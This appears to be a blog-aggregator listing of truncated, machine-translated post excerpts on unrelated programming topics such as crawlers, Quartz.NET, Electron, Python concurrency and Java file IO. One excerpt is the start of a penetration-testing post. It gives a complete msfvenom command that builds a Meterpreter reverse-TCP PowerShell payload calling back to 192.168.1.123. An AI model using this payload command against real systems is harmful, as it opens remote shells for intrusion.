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If the crawler does not have exception handling, the program will crash and stop working once an error occurs in the crawl, and exception handling can continue even if an error occurs. 1. Common status codes 301: redirect to a new URL, permanent 302: Redirected to temporary URL, non-permanent 304: Reque ...

Preface: Have you ever needed an application to perform a task? For example, there is a requirement to perform some operations at zero point every day. How should it be operated? At this point, if you and your team are programming in. NET, consider using the Quartz.NET scheduler. Allow developers to schedule tasks based on date intervals. I ...

html5 form element input adds a new color type, the color selector. <input type="color"> The default effect of the selector on windows is as follows: It can be said to be very ugly and difficult to use. To solve this problem, xy-ui A new class of components has been added xy-color-picker The results are as follows: Design reference chor ...

Before that, I read a lot of related articles. After I have a general understanding, I will start to experience them. Before you start, you need to be clear about what the event distribution mechanism is about: the transfer rules of event sequences between ViewGroups/Views. Attention should be paid to the following points: It's ab ...

Links to the original text: https://www.jianshu.com/u/8f2987e2f9fb Before concurrent.futures libraries are summarized, three questions need to be clarified: (1) Is python multithreading useful? (2) How does the python virtual machine mechan ...

1. Controlling application window size When building desktop applications, we need to consider how our applications need to be used by users. Then we need to provide a window that maximizes or minimizes display. Of course, we also want to run it in full screen. In electron, we can configure the size of our windows. First, let's look at our de ...

Event subject Write a generic event listener function Describe event bubbling process For an infinite drop-down page loading images, how to bind events to each image Knowledge Points General Event Binding Event Bubbling Agent (i.e. principal, but also the application of event bubbles) //Ge ...

1. Learning Contents File operations using the File class, using the Java.io package to complete a total of five core classes and an interface Five core interfaces: File, InputStream, OutputStream, Reader, Writer One identity interface: Serializable 1. Create Documents 2. Create files with subdirect ...

Links to the original text: https://xz.aliyun.com/t/2536#toc-16 generate ps Rebound script msfvenom  -p   windows/x64/meterpreter/reverse_tcp  lhost=192.168.1.123   lport=12345  -f  psh-reflection>/tmp/search.ps1 msf Monitoring re ...

Not much nonsense. Start with historical prize-winning data. We follow China Sports Color Network Climb the history prize data. Because the website belongs to static web pages, it is easy to get the desired content, so the crawling process is not described in detail. Code directly: import requests fro ...